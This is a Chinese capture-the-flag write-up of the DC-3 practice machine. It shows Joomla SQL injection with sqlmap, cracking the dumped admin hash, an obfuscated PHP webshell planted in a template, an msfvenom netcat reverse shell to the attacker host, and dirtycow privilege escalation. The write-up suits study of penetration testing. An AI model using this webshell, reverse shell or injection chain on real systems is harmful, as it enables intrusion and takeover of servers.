本文共 3161 字，大约阅读时间需要 10 分钟。

前言

靶机环境：

过程

端口扫描

nmap扫描靶机，靶机IP：192.168.128.133，仅开放了80端口http服务。扫描到靶机用了joomla，是个cms系统。

$ sudo nmap -sS -sV -sC -p80 192.168.128.133...PORT   STATE SERVICE VERSION80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))|_http-generator: Joomla! - Open Source Content Management|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: HomeMAC Address: 00:0C:29:8B:7C:8A (VMware)

目录扫描

同步扫描了下网站目录，有一些文件可以获得有用信息。

[10:16:13] 200 -    4KB - /README.txt# Joomla! 3.7 version histor[10:16:16] 200 -    5KB - /administrator/index.php# 登录界面

登录后台后看到joomla貌似是3.2版本

joomlaSQL注入过程

joomla存在SQL注入漏洞

https://www.exploit-db.com/exploits/44227

sqlmap -u "http://192.168.128.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" -p "list[fullordering]" --dbs -D joomladb -T "#__users" -C "id,email,name,params,password,username" --dump...[00:59:16] [INFO] fetching entries of column(s) 'email,id,name,params,password,username' for table '#__users' in database 'joomladb'[00:59:16] [INFO] retrieved: 'freddy@norealaddress.net'[00:59:16] [INFO] retrieved: '629'[00:59:16] [INFO] retrieved: 'admin'[00:59:16] [INFO] retrieved: '{"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""}'[00:59:16] [INFO] retrieved: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'[00:59:17] [INFO] retrieved: 'admin'...

用hashcat破解出密码明文：snoopy

$ hashcat -m 3200 -a 0 vulnhub/dc3-pass.txt /usr/share/wordlists/rockyou.txt$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu:snoopy

get shell

在管理后台的模板功能，可以编辑加webshell进去。

$pass = "9cdfb439c7876e703e307864c9167a15"; //lol $A = chr(0x73);$B = chr(0x79);$X = chr(0x74);$D = chr(0x65);$E = chr(0x6d);$hook = $A.$B.$A.$X.$D.$E;if($pass == md5($_POST['password'])){     $hook(base64_decode($_POST['cmd']));}else{     die();}

回连shell如下：

$ msfvenom -p cmd/unix/reverse_netcat lhost=192.168.128.128 lport=8888 R...mkfifo /tmp/uixco; nc 192.168.128.128 8888 0/tmp/uixco 2>&1; rm /tmp/uixco

攻击机开启监听，成功连接。

$ nc -nlvp 8888listening on [any] 8888 ...connect to [192.168.128.128] from (UNKNOWN) [192.168.128.133] 34870iduid=33(www-data) gid=33(www-data) groups=33(www-data)

使用linux-exploit-suggester，尝试了第一个 [CVE-2016-5195] dirtycow 2，成功提权。

https://www.exploit-db.com/exploits/40847

获取flag

root@DC-3:~# cat the-flag.txtcat the-flag.txt __        __   _ _   ____                   _ _ _ _  \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)                                                     Congratulations are in order.  :-)I hope you've enjoyed this challenge as I enjoyed making it.If there are any ways that I can improve these little challenges,please let me know.As per usual, comments and complaints can be sent via Twitter to @DCAU7Have a great day!!!!